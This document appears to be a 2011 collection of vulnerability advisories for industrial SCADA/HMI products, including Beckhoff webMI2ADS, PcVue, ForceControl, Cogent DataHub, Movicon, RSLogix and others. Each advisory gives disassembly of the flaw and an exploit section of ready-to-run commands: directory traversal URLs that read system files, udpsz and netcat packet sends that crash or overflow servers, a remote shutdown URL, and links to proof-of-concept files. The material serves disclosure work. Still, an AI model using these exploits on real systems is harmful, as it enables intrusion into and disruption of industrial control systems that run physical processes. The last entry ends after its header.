Versions: *<= 1.0*
Platforms: *Windows XP embedded and CE x86/ARM*
Bugs: *A] directory traversal*
B] NULL pointer
C] termination of the software
D] resources consumption
Exploitation: *remote*
Date: *10 Oct 2011*

From vendor's website:
"webMI2ADS is a very slim and compact web server with an ADS interface (Beckhoff native PLC interface). It can be integrated on nearly any ethernet based Beckhoff PLC and provides full data access including automatic import of all PLC variables and types."

 # Vulnerabilities #

A] directory traversal

Classical directory traversal through the backslash delimiter which allows to get the files located on the disk where is running the server.

B] NULL pointer

NULL pointer dereference caused by the lacking of checks on the value returned by strchr on the Authorization Basic HTTP field:

```
  0043094F  |> 6A 06          PUSH 6                                  ; /maxlen = 6
  00430951  |. 68 7CAB4400    PUSH webMI2AD.0044AB7C                  ; |s2 = "Basic "
  00430956  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]            ; |
  00430959  |. 50             PUSH EAX                                ; |s1
  0043095A  |. FF15 10044400  CALL DWORD PTR DS:[<&MSVCR90._strnicmp>] ; \_strnicmp
  ...skip...
  004309BC  |. 6A 3A          PUSH 3A                                 ; /c = 3A  (':')
  004309BE  |. 8D8D F8FEFFFF  LEA ECX,DWORD PTR SS:[EBP-108]          ; |
  004309C4  |. 51             PUSH ECX                                ; |s
  004309C5  |. FF15 FC034400  CALL DWORD PTR DS:[<&MSVCR90.strchr>]   ; \strchr
  004309CB  |. 83C4 08        ADD ESP,8
  004309CE  |. 8945 F4        MOV DWORD PTR SS:[EBP-C],EAX
  004309D1  |. 837D FC 00     CMP DWORD PTR SS:[EBP-4],0
  004309D5  |. 74 4B          JE SHORT webMI2AD.00430A22
  004309D7  |. 8B55 F4        MOV EDX,DWORD PTR SS:[EBP-C]
  004309DA  |. 2B55 FC        SUB EDX,DWORD PTR SS:[EBP-4]
  004309DD  |. 83FA 40        CMP EDX,40
  004309E0  |. 7D 40          JGE SHORT webMI2AD.00430A22
  004309E2  |. 8B45 F4        MOV EAX,DWORD PTR SS:[EBP-C]
  004309E5  |. C600 00        MOV BYTE PTR DS:[EAX],0
```

C] termination of the software

For terminating the software remotely it's enough to go on the /shutdown webpage.

D] resources consumption

Endless loop with memory consumption and CPU at 100% caused by a
particular negative Content-Length.

 # Exploit #

http://aluigi.org/mytoolz/mydown.zip
http://aluigi.org/testz/udpsz.zip

A]
```
  mydown http://SERVER/..\..\..\..\..\..\..\boot.ini
  mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
```

B]
```
  udpsz -c "GET / HTTP/1.0\r\nAuthorization: Basic blah\r\n\r\n" -T -D SERVER 80 -1
```

C]
```
  http://SERVER/shutdown
```

D]
```
  udpsz -c "POST / HTTP/1.0\r\nContent-Length: -30\r\n\r\n" -T -D SERVER 80 -1
```

Application: *IRAI AUTOMGEN*
http://www.irai.com/a8e/
Versions: *<= 8.0.0.7 (aka 8.022)*
Platforms: *Windows*
Bug: *use after free*
Exploitation: *file*
Date: *10 Oct 2011*

From vendor's website:
"Universal automation workshop
Fonctionnalities : automation projects creation for PLC and microprocessors, SCADA, Web SCADA, 3D process simulation, etc."

 # Vulnerabilities #

Use after free in the handling of project files containing some malformed fields like the size of the embedded zip archive or some counters that may allow code execution.

No additional research performed because it was only a quick test, the following are various examples of locations for the possible code execution:

```
  00460ee6 8b01            mov     eax,dword ptr [ecx]
  00460ee8 6a01            push    1
  00460eea ff5004          call    dword ptr [eax+4]

  005239ca 8b06            mov     eax,dword ptr [esi]
  005239cc 8bce            mov     ecx,esi
  005239ce ff5010          call    dword ptr [eax+10h]

  0040d11b 8b16            mov     edx,dword ptr [esi]
  0040d11d 6a00            push    0
  0040d11f 50              push    eax
  0040d120 8bce            mov     ecx,esi
  0040d122 ff9288000000    call    dword ptr [edx+88h]
```

 # Exploit #

http://aluigi.org/poc/automgen_1.zip

Application: *OPC Systems.NET*
http://www.opcsystems.com/opc_systems_net.htm
Versions: *<= 4.00.0048*
Platforms: *Windows*
Bug: *Denial of Service*
Exploitation: *remote*
Date: *10 Oct 2011*

From vendor's website:
"As a Service Oriented Architecture the OPC Systems Service can connect to data from OPC Servers, OPC Clients, Visual Studio Applications, Microsoft Excel, and databases ... breakthrough .NET products for SCADA, HMI, and plant floor to business solutions to shorten your development to deployment time."

 # Vulnerabilities #

OPCSystemsService.exe can be freezed with CPU at 100% through a malformed .NET RPC packet.
No additional research performed.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
  udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC
 Systems Interface\6\0\1\1" -T SERVER 58723 0x80
```

Application: *GenStat*
http://www.vsni.co.uk/software/genstat/
Versions: *<= 14.1.0.5943*
Platforms: *Windows*
Bugs: *A] array overflow with write2*
B] heap overflow
Exploitation: *file*
Date: *01 Oct 2011*

From vendor's homepage:
"all embracing data analysis tool, offering ease of use via our comprehensive menu system reinforced with the flexibility of a sophisticated programming language."
"For over 30 years we have employed, and continue to work with, leading statisticians and scientists who help to create a package that succeeds for both novice and expert users in academia, research and industry."

 # Vulnerabilities #

A] array overflow with write2

Array overflow during the handling of the GWB *(GenStat book)* files with possibility of placing a NULL word in an arbitrary memory location:

```
00630399  |> 8B46 24        MOV EAX,DWORD PTR DS:[ESI+24] ; EAX controlled
0063039C  |. 8B4E 08        MOV ECX,DWORD PTR DS:[ESI+8]
0063039F  |. 8D0481         LEA EAX,DWORD PTR DS:[ECX+EAX*4]
006303A2  |. 3938           CMP DWORD PTR DS:[EAX],EDI
006303A4  |. 74 12          JE SHORT GenStat.006303B8
006303A6  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
006303A8  |. 05 A4040000    ADD EAX,4A4
006303AD  |. 0FB708         MOVZX ECX,WORD PTR DS:[EAX]
006303B0  |. 894D FC        MOV DWORD PTR SS:[EBP-4],ECX
006303B3  |. 33C9           XOR ECX,ECX
006303B5  |. 66:8908        MOV WORD PTR DS:[EAX],CX      ; write2
```

B] heap overflow

Through the text strings in the final part of the GSH *(GenStat SpreadSheet)* files it's possible to cause a heap overflow with consequent freeing of arbitrary memory *(write4)*:

```
0064D1C7  |> 3BBE 78040000 /CMP EDI,DWORD PTR DS:[ESI+478]
0064D1CD  |. 7F 74         |JG SHORT GenStat.0064D243
0064D1CF  |. FF75 08       |PUSH DWORD PTR SS:[EBP+8]
0064D1D2  |. 8D45 F4       |LEA EAX,DWORD PTR SS:[EBP-C]
0064D1D5  |. 6A 01         |PUSH 1
0064D1D7  |. 6A 04         |PUSH 4
0064D1D9  |. 50            |PUSH EAX
0064D1DA  |. E8 2F3B2600   |CALL GenStat.008B0D0E             ; read 32bit
0064D1DF  |. 83C4 10       |ADD ESP,10
0064D1E2  |. 85C0          |TEST EAX,EAX
0064D1E4  |.^0F84 06FFFFFF |JE GenStat.0064D0F0
0064D1EA  |. 66:837D 0C 00 |CMP WORD PTR SS:[EBP+C],0
0064D1EF  |. 74 0A         |JE SHORT GenStat.0064D1FB
0064D1F1  |. 8D45 F4       |LEA EAX,DWORD PTR SS:[EBP-C]
0064D1F4  |. 50            |PUSH EAX
0064D1F5  |. E8 DD6AFFFF   |CALL GenStat.00643CD7
0064D1FA  |. 59            |POP ECX
0064D1FB  |> 837D F4 00    |CMP DWORD PTR SS:[EBP-C],0
0064D1FF  |. 7E 1E         |JLE SHORT GenStat.0064D21F        ; I use the first one -1
0064D201  |. FF75 08       |PUSH DWORD PTR SS:[EBP+8]
0064D204  |. 8B46 58       |MOV EAX,DWORD PTR DS:[ESI+58]
0064D207  |. 6A 01         |PUSH 1
```

```
0064D209  |. FF75 F4        |PUSH DWORD PTR SS:[EBP-C]          ; 0x61616161
0064D20C  |. 03C7           |ADD EAX,EDI
0064D20E  |. 50             |PUSH EAX
0064D20F  |. E8 FA3A2600    |CALL GenStat.008B0D0E              ; overflow/corruption
0064D214  |. 83C4 10        |ADD ESP,10
0064D217  |. 85C0           |TEST EAX,EAX
0064D219  |.^0F84 D1FEFFFF  |JE GenStat.0064D0F0
0064D21F  |> FF86 74040000  |INC DWORD PTR DS:[ESI+474]
0064D225  |. 8B45 F4        |MOV EAX,DWORD PTR SS:[EBP-C]
0064D228  |. 43             |INC EBX
0064D229  |. 3B5D F8        |CMP EBX,DWORD PTR SS:[EBP-8]
0064D22C  |. 8D7C07 01      |LEA EDI,DWORD PTR DS:[EDI+EAX+1]   ; 0 + -1 + 1 = 0
0064D230  |.^7C 95         \JL SHORT GenStat.0064D1C7
```

 # Exploit #

http://aluigi.org/poc/genstat_1.zip

A] modified 32bit field at offset *0x46*
B] modified 32bit field at offset *0x302* and added *'a'*s

Title: *Reference for a vulnerability in atvise server 2.0.0.3291*
Version: *<= 2.0.0.3291*
Date: *10 Oct 2011*

This note acts only as a quick and historical reference for a vulnerability I found various months ago *(about April/May 2011)* in the SCADA software atvise *(**http://www.atvise.com**),* exactly in version 2.0.0.3291.
I delayed its publishing due to some missing details about the problem and about the possibility of controlling the resulting code execution.

The developers found and fixed it autonomously but I don't know when and in what exact version.

Reproducing the problem:

http://aluigi.org/testz/udpsz.zip
http://aluigi.org/poc/atvise_1.dat

udpsz -f atvise_1.dat -T -l 500 -X *0x89* 16 l *0x1b0* **SERVER** 4840 -1

Leave it running till the crashing of the server in less than one minute.
In some rare cases the problem could happen when the server gets stopped or restarted.

atvise_1.dat is just a normal connection dump without modifications.

No additional research has been performed and no other details are available.

Application: *PcVue*
http://www.arcinfo.com/index.php?option=com_content&id=2&Itemid=151
Versions: *PcVue <= 10.0*
SVUIGrd.ocx <= 1.5.1.0
aipgctl.ocx <= 1.07.3702
Platforms: *Windows*
Bugs: *A] code execution in SVUIGrd.ocx Save/LoadObject*
B] write4 in SVUIGrd.ocx GetExtendedColor
C] possible files corruption/injection in SVUIGrd.ocx Save/LoadObject
D] array overflow in aipgctl.ocx DeletePage
Exploitation: *remote*
Date: *27 Sep 2011*

"PcVue is a new generation of SCADA software. It is characterised by modern ergonomics and by tools based on object technology to reduce and optimise applications development."

 # Vulnerabilities #

A] code execution in SVUIGrd.ocx Save/LoadObject

The aStream number of SaveObject and LoadObject methods available in SVUIGrd.ocx *(2BBD45A5-28AE-11D1-ACAC-0800170967D9)* is used directly as function pointer:

```
  02695b9d 8b00            mov     eax,dword ptr [eax]  ; controlled
  02695b9f ff5004          call    dword ptr [eax+4]    ; execution
```

B] write4 in SVUIGrd.ocx GetExtendedColor

Through the GetExtendedColor method of SVUIGrd.ocx it's possible to write a dword in an arbitrary memory location:

```
  02198e36 8902            mov     dword ptr [edx],eax  ; controlled
```

C] possible files corruption/injection in SVUIGrd.ocx Save/LoadObject

---

The SaveObject allow to specify the name of the file to save while LoadObject the one to load.
No additional research performed, files can be corrupted via directory traversal attacks and it **"may"** be possible to write custom content.

D] array overflow in aipgctl.ocx DeletePage

Array overflow in the DeletePage method of the ActiveX component aipgctl.ocx *(083B40D3-CCBA-11D2-AFE0-00C04F7993D6)*:

```
  10013852 8b0cb8          mov     ecx,dword ptr [eax+edi*4]
  10013855 85c9            test    ecx,ecx
  10013857 7407            je      aipgctl+0x13860 (10013860)
  10013859 8b11            mov     edx,dword ptr [ecx]
  1001385b 6a01            push    1
  1001385d ff5204          call    dword ptr [edx+4]    ; execution
```

 # Exploit #

http://aluigi.org/poc/pcvue_1.zip

Application: *Sunway ForceControl*
http://www.sunwayland.com.cn/pro.asp
Versions: *<= 6.1 sp3 with AngelServer and WebServer updated*
Platforms: *Windows*
Bugs: *various stack overflows*
directory traversals
third party ActiveX code execution
various Denials of Service
Exploitation: *remote*
Date: *22 Sep 2011*

ForceControl is a chinese SCADA/HMI software.

 # Vulnerabilities #

A] AngelServer stack overflow

Signed comparison in packet 8 of AngelServer that leads to a stack overflow:

```
  004022E1   > B9 19000000       MOV ECX,19
  004022E6   . 33C0              XOR EAX,EAX
  004022E8   . 8D7C24 24         LEA EDI,DWORD PTR SS:[ESP+24]
  004022EC   . 83FE 64           CMP ESI,64                      ; our value
  004022EF   . F3:AB             REP STOS DWORD PTR ES:[EDI]
  004022F1   . 0F8D E7000000     JGE AngelSer.004023DE           ; signed
  004022F7   . 8BCE              MOV ECX,ESI
  004022F9   . 8D75 0C           LEA ESI,DWORD PTR SS:[EBP+C]
  004022FC   . 8BD1              MOV EDX,ECX
  004022FE   . 8D7C24 24         LEA EDI,DWORD PTR SS:[ESP+24]
  00402302   . C1E9 02           SHR ECX,2                       ; memcpy
  00402305   . F3:A5             REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
  00402307   . 8BCA              MOV ECX,EDX
  00402309   . 8D4424 24         LEA EAX,DWORD PTR SS:[ESP+24]
  0040230D   . 83E1 03           AND ECX,3
  00402310   . 50              PUSH EAX
  00402311   . F3:A4             REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
  00402313   . 8B8C24 A0000000   MOV ECX,DWORD PTR SS:[ESP+A0]
  0040231A   . E8 A1FDFFFF       CALL AngelSer.004020C0
  0040231F   . E9 BA000000       JMP AngelSer.004023DE
```

B] WebServer directory traversal

Through the usage of a 3-dots pattern it's possible to download the files located in the disk of the project used by WebServer.

C] various Denials of Service in AngelServer

The AngelServer program is affected by various problems that lead to Denial of Service effects:

- exception handler due to unallocable memory through packet 6
- invalid memory read access during memcpy through packet 6
- whole system reboot through packet 6
- endless loop during the handling of the interfaces through packet 6
- whole system reboot through packet 7

D] third party ActiveX code execution

This software is bundled with the "Cell Software"'s YRWXls.ocx ActiveX component *(BD9E5104-2F20-4A9F-AB14-82D558FF374E version 5.3.7.321 which is the latest)* and it's affected by a vulnerability in the Login method:

```
eax=886641aa ebx=02c55aac ecx=015ebd5c edx=886641ab esi=886641aa edi=015ebd88
eip=02c01db2 esp=015ebd10 ebp=02c867c0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
YRWXls!DllRegisterServer+0x2ab62:
02c01db2 8a08            mov     cl,byte ptr [eax]          ds:0023:886641aa=??
0:008> gn
(a1c.e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ed9b6fc edx=7c8285f6 esi=00000000 edi=00000000
eip=6ed9b6fc esp=015eb948 ebp=015eb968 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
6ed9b6fc ??              ???
```

No additional research has been performed on the vulnerability, anyway in my test it's necessary to load any other unsafe ActiveX component first *(tested on Windows 2003)*.

E] stack overflow in SNMP NetDBServer

Stack overflow caused by the copying of data chunks in a stack buffer:

```
0040303A  |. 66:8B40 0A     MOV AX,WORD PTR DS:[EAX+A]        ; chunks
0040303E  |. 0FBFC0         MOVSX EAX,AX
00403041  |. 3BC7           CMP EAX,EDI
00403043  |. 0F8E AC000000  JLE SNMP_Net.004030F5
00403049  |. 894424 14      MOV DWORD PTR SS:[ESP+14],EAX
0040304D  |> B9 10000000    /MOV ECX,10
00403052  |. 33C0           |XOR EAX,EAX
00403054  |. 8D7C24 2C      |LEA EDI,DWORD PTR SS:[ESP+2C]
00403058  |. 83C3 02        |ADD EBX,2
0040305B  |. F3:AB          |REP STOS DWORD PTR ES:[EDI]
0040305D  |. 8B46 2C        |MOV EAX,DWORD PTR DS:[ESI+2C]
00403060  |. 43             |INC EBX
00403061  |. 8D7C24 2C      |LEA EDI,DWORD PTR SS:[ESP+2C]
00403065  |. 66:8B6C18 FD   |MOV BP,WORD PTR DS:[EAX+EBX-3]   ; chunk num
0040306A  |. 8A4C18 FF      |MOV CL,BYTE PTR DS:[EAX+EBX-1]   ; chunk size
0040306E  |. 884C24 20      |MOV BYTE PTR SS:[ESP+20],CL
00403072  |. 8D3418         |LEA ESI,DWORD PTR DS:[EAX+EBX]
00403075  |. 8B5424 20      |MOV EDX,DWORD PTR SS:[ESP+20]
00403079  |. 81E2 FF000000  |AND EDX,0FF
0040307F  |. 8BCA           |MOV ECX,EDX
00403081  |. 03DA           |ADD EBX,EDX                      ; concatenate
00403083  |. 8BC1           |MOV EAX,ECX
00403085  |. C1E9 02        |SHR ECX,2                        ; memcpy
00403088  |. F3:A5          |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0040308A  |. 8BC8           |MOV ECX,EAX
0040308C  |. 83E1 03        |AND ECX,3
0040308F  |. F3:A4          |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
```

F] integer stack overflow in SNMP NetDBServer

Signed 8 bit value expanded due to its sign and used in a memcpy over a stack buffer, note that also in this case the chunked data is concatenable so there is also this other way to exploit the overflow:

```
00402B78  |. 0FBE2C1A       |MOVSX EBP,BYTE PTR DS:[EDX+EBX]  ; 8bit expansion
00402B7C  |. F3:AB           |REP STOS DWORD PTR ES:[EDI]
00402B7E  |. 8BCD            |MOV ECX,EBP
```

```
00402B80  |. 43             |INC EBX
00402B81  |. 8BC1           |MOV EAX,ECX
00402B83  |. 8D7C24 20      |LEA EDI,DWORD PTR SS:[ESP+20]
00402B87  |. 8D341A         |LEA ESI,DWORD PTR DS:[EDX+EBX]
00402B8A  |. 03DD           |ADD EBX,EBP                        ; concatenate
00402B8C  |. C1E9 02        |SHR ECX,2                          ; memcpy
00402B8F  |. F3:A5          |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00402B91  |. 8BC8           |MOV ECX,EAX
00402B93  |. 33C0           |XOR EAX,EAX
00402B95  |. 83E1 03        |AND ECX,3
00402B98  |. 43             |INC EBX
00402B99  |. F3:A4          |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
...and...
00402B9B  |. 0FBE6C1A FF    |MOVSX EBP,BYTE PTR DS:[EDX+EBX-1]
00402BA0  |. B9 10000000    |MOV ECX,10
00402BA5  |. 8D7C24 40      |LEA EDI,DWORD PTR SS:[ESP+40]
00402BA9  |. F3:AB          |REP STOS DWORD PTR ES:[EDI]
00402BAB  |. 8BCD           |MOV ECX,EBP
00402BAD  |. 8D341A         |LEA ESI,DWORD PTR DS:[EDX+EBX]
00402BB0  |. 8BD1           |MOV EDX,ECX
00402BB2  |. 8D7C24 40      |LEA EDI,DWORD PTR SS:[ESP+40]
00402BB6  |. C1E9 02        |SHR ECX,2
00402BB9  |. F3:A5          |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00402BBB  |. 8BCA           |MOV ECX,EDX
00402BBD  |. 8D4424 40      |LEA EAX,DWORD PTR SS:[ESP+40]
00402BC1  |. 83E1 03        |AND ECX,3
00402BC4  |. 50             |PUSH EAX
00402BC5  |. F3:A4          |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
```

G] Denial of Service in SNMP NetDBServer

```
00402A0A  |> 8B4B 30        MOV ECX,DWORD PTR DS:[EBX+30]
00402A0D  |. 83F9 0B        CMP ECX,0B
00402A10  |. 7C 24          JL SHORT SNMP_Net.00402A36
00402A12  |. 8B5B 2C        MOV EBX,DWORD PTR DS:[EBX+2C]
00402A15  |. 8B43 06        MOV EAX,DWORD PTR DS:[EBX+6]
00402A18  |. 3BC8           CMP ECX,EAX
00402A1A  |. 7C 1A          JL SHORT SNMP_Net.00402A36    ; signed comparison
00402A1C  |. 8D5403 FE      LEA EDX,DWORD PTR DS:[EBX+EAX-2]
00402A20  |. B9 A0704000    MOV ECX,SNMP_Net.004070A
00402A25  |. 5F             POP EDI
00402A26  |. 5E             POP ESI
00402A27  |. 66:8B02        MOV AX,WORD PTR DS:[EDX]      ; invalid access
```

H] Arbitrary files reading in NetServer

Through this server it's possible to read any file on any disk or share.
Opcodes *0x00* and *0x04* are used to open the file *(the first one only adds the full project path to the name, so use directory traversal with it)* while *0x02* is used to read and send its content with the possibility of specifying also the offset.

Note that there is also a very limited heap overflow caused by some calculations performed on the offset where is possible to allocate a 0 bytes buffer for the reply packet but with only a Denial of Service effect.

 # Exploit #

http://aluigi.org/testz/udpsz.zip *(version 0.3.3)*

A]

```
  udpsz -T -C "08000000 00000000 ffffffff" -b a SERVER 8800 0x400

B]
  http://SERVER/.../.../.../boot.ini

C]
  udpsz -T -C "06000000 00000000 ffffffff" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 ffffff00" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 00040000" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 00040000" -c "2147483647," -b a SERVER 8800 0x400
  udpsz -T -C "07000000 00000000 00000000" SERVER 8800 0x400

D]
  http://aluigi.org/poc/yrwxls_1.zip

E]
  udpsz -C "eb50eb50 5300 ffff0000 0100 ffff ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xfff
f

F]
  udpsz -C "eb50eb50 5700 ffff0000 0100 ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xffff

G]
  udpsz -C "eb50eb50 0000 80808080" -T SERVER 2001 0xb

H]
  udpsz -D -1 -C "8888888888888888 00010000 01000000 04000000 633a5c626f6f742e696e69" 0 -
C "8888888888888888 1c000000 01000000 02000000 00000000 ffffff7f" -1 -T SERVER 2006 0x11c
```

Application: *Cogent DataHub*
http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions: *<= 7.1.1.63*
Platforms: *Windows*
Bug: *stack unicode overflow*
Exploitation: *remote*
Date: *13 Sep 2011*

DataHub is a software for the SCADA and automation sector.

 # Vulnerabilities #

The server/service listens on the ports 4502 and 4503, the only
difference is that the second port uses SSL while the first one is in
plain-text.

Stack-based unicode buffer-overflow in the **"DH_OneSecondTick"** function
exploitable through the **"domain"**, **"report_domain"**, **"register_datahub"**,
"slave" and some other commands:

```
00440442  |. 50              |PUSH EAX                       ; string
00440443  |. 68 64854900     |PUSH CogentDa.00498564         ; "Domain"
00440448  |. 8D8D 00FFFFFF   |LEA ECX,DWORD PTR SS:[EBP-100]
0044044E  |. 68 A42F4900     |PUSH CogentDa.00492FA4         ; "%s.%s"
00440453  |. 51              |PUSH ECX                       ; stack buffer
00440454  |. FF15 B4F44800   |CALL DWORD PTR DS:[<&MSVCR90._swprintf>]
```

 # Exploit #

http://aluigi.org/poc/cogent_1.dat

```
nc SERVER 4502 < cogent_1.dat
```

port 4053 uses the same protocol via SSL.

Application: *Cogent DataHub*
http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions: *<= 7.1.1.63*
Platforms: *Windows*
Bug: *directory traversal*
Exploitation: *remote*
Date: *13 Sep 2011*

DataHub is a software for the SCADA and automation sector.

 # Vulnerabilities #

The server/service listens on port 80 using a custom web server.

The software is affected by a directory traversal vulnerability
through the backslash delimiter *(both ascii and http encoded)* that
allows to download the files located on the disk where it's installed.

 # Exploit #

http://aluigi.org/mytoolz/mydown.zip

```
mydown http://SERVER/..\..\..\..\..\..\..\boot.ini
mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
```

Application: *Cogent DataHub*
http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions: *<= 7.1.1.63*
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote*
Date: *13 Sep 2011*

DataHub is a software for the SCADA and automation sector.

 # Vulnerabilities #

The server/service listens on port 80 using a custom web server.

The software is affected by an integer overflow caused by the
allocation of the amount of memory specified by the Content-Length
field *(-1 or 4294967295)* plus one resulting in a buffer of zero bytes.

 # Exploit #

http://aluigi.org/poc/cogent_3.dat

```
nc SERVER 80 < cogent_3.dat
```

Application: *Cogent DataHub*
http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions: *<= 7.1.1.63*
Platforms: *Windows*
Bug: *source disclosure*
Exploitation: *remote*
Date: *13 Sep 2011*

DataHub is a software for the SCADA and automation sector.

 # Vulnerabilities #

The server/service listens on port 80 using a custom web server.

Through the appending of the following chars it's possible to view the content of the server-side scripts on the server:

```
+
%20
%2e
```

This vulnerability is useful when the server hosts customized scripts which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html

 # Exploit #

http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e

Application: *DAQFactory*
http://www.azeotech.com/daqfactory.php
Versions: *<= 5.85 build 1853*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote*
Date: *13 Sep 2011*

DAQFactory is an HMI/SCADA software.

 # Vulnerabilities #

When DAQFactory is running it listens on the UDP port 20034 for NETB packets of max *0x400* bytes.

The software is affected by a stack overflow in the code that logs the informations of the incoming packet allowing an attacker to execute malicious code:

```
005C3FB0  /$ 6A FF             PUSH -1
005C3FB2  |. 68 E6777D00       PUSH DAQFacto.007D77E6
005C3FB7  |. 64:A1 00000000    MOV EAX,DWORD PTR FS:[0]
005C3FBD  |. 50                PUSH EAX
005C3FBE  |. 64:8925 00000000  MOV DWORD PTR FS:[0],ESP
005C3FC5  |. 81EC 2C020000     SUB ESP,22C
...skip...
005C41B2  |. 8D8C24 7C010000   LEA ECX,DWORD PTR SS:[ESP+17C]
005C41B9  |. 68 B02C9000       PUSH DAQFacto.00902CB0
          ; "MAC:[%02x-%02X-%02X-%02X-%02X-%02X] IP:%d.%d.%d.%d DHCP:%d.%d.%d.%d %s%s"
005C41BE  |. 51                PUSH ECX
005C41BF  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]
..and..
005C423A  |. 8D8C24 6C010000   LEA ECX,DWORD PTR SS:[ESP+16C]
005C4241  |. 68 682C9000       PUSH DAQFacto.00902C68
          ; "MAC: [%02x-%02X-%02X-%02X-%02X-%02X]    IP:%d.%d.%d.%d %s%s"
005C4246  |. 51                PUSH ECX
005C4247  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]
```

 # Exploit #

http://aluigi.org/poc/daqfactory_1.dat

```
nc SERVER 20034 -u < daqfactory_1.dat
```

Application: *Progea Movicon / PowerHMI*
http://www.progea.com
Versions: *<= 11.2.1085*
Platforms: *Windows*
Bug: *memory corruption*
Exploitation: *remote*
Date: *13 Sep 2011*

Movicon is an italian SCADA/HMI software.

 # Vulnerabilities #

When the software runs a project it listens on port 808 for accepting
some HTTP requests.

The server is affected by a heap overflow caused by the usage of a
negative Content-Length field which allows to corrupt the memory
through **"memcpy(heap_buffer, input, content_length_size)"**.

 # Exploit #

http://aluigi.org/poc/movicon_1.dat

```
nc SERVER 808 < movicon_1.dat
```

Application: *Progea Movicon / PowerHMI*
http://www.progea.com
Versions: *<= 11.2.1085*
Platforms: *Windows*
Bug: *heap overflow*
Exploitation: *remote*
Date: *13 Sep 2011*

Movicon is an italian SCADA/HMI software.

 # Vulnerabilities #

When the software runs a project it listens on port 808 for accepting
some HTTP requests.

The server is affected by a heap overflow caused by the usage of a
buffer of 8192 bytes for containing the incoming HTTP requests.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -T -b 0x61 SERVER 808 10000
```

Application: *Progea Movicon / PowerHMI*
http://www.progea.com
Versions: *<= 11.2.1085*
Platforms: *Windows*
Bug: *memory corruption*
Exploitation: *remote*
Date: *13 Sep 2011*

Movicon is an italian SCADA/HMI software.

 # Vulnerabilities #

When the software runs a project it listens on port 808 for accepting some HTTP requests and on port 12233 for a particular **"EIDP"** protocol.

Through a too big size field in the **"EIDP"** packets tunnelled via the web service *(doesn't seem possible to exploit the bug via the original port)* it's possible to write a *0x00* byte in an arbitrary memory zone higher than *0x7fffffff*:

```
  00a29001 c6041100     mov byte ptr [ecx+edx],0    ds:0023:80616161=??
```

This limitation could make the bug interesting only in some 64bit environments.

 # Exploit #

http://aluigi.org/poc/movicon_3.dat

```
  nc SERVER 808 < movicon_3.dat
```

Application: *Carel PlantVisor*
http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
Versions: *<= 2.4.4*
Platforms: *Windows*
Bug: *directory traversal*
Exploitation: *remote*
Date: *13 Sep 2011*

From vendor's homepage:
"PlantVisor Enhanced is monitoring and telemaintenance software for refrigeration and air-conditioning systems controlled by CAREL instruments."

 # Vulnerabilities #

CarelDataServer.exe is a web server listening on port 80.

The software is affected by a directory traversal vulnerability that allows to download the files located on the disk where it's installed. Both slash and backslash and their HTTP encoded values are supported.

 # Exploit #

http://SERVER/..\..\..\..\..\..\boot.ini
http://SERVER/../../../../../../boot.ini
http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini

Application: *Rockwell RSLogix / FactoryTalk RnaUtility.dll*
http://www.rockwellautomation.com/rockwellsoftware/design/rslogix5000/
Versions: *<= 19 (RsvcHost.exe 2.30.0.23)*
Platforms: *Windows*
Bug: *heap overflow / Denial of Service*
Exploitation: *remote*
Date: *13 Sep 2011*

From vendor's website:
"With RSLogix 5000 programming software, you need only one software package for discrete, process, batch, motion, safety and drive-based application."

 # Vulnerabilities #

RsvcHost.exe and RNADiagReceiver.exe listen on ports 4446 and others.

These services use RnaUtility.dll which doesn't handle the 32bit size field located in the **"rna"** packets with results like a memset zero overflow and invalid read access.

UPDATE 16 Sep 2011:
The vulnerability seems a bit more dangerous *(heap overflow)* than just a Denial of Service so code execution is not excluded, additional info:
http://rockwellautomation.custhelp.com/app/answers/detail/a_id/456144

 # Exploit #

http://aluigi.org/poc/rslogix_1.zip

```
nc SERVER 4446 < rslogix_1a.dat
nc SERVER 4446 < rslogix_1b.dat
```

Application: *Measuresoft ScadaPro*
http://www.measuresoft.com/products/scada-products.aspx
Versions: *<= 4.0.0*
Platforms: *Windows*
Bugs: *arbitrary commands execution*
directory traversal in read, write and delete mode
tons of stack overflow vulnerabilities
various Denial of Service vulnerabilities
Exploitation: *remote*
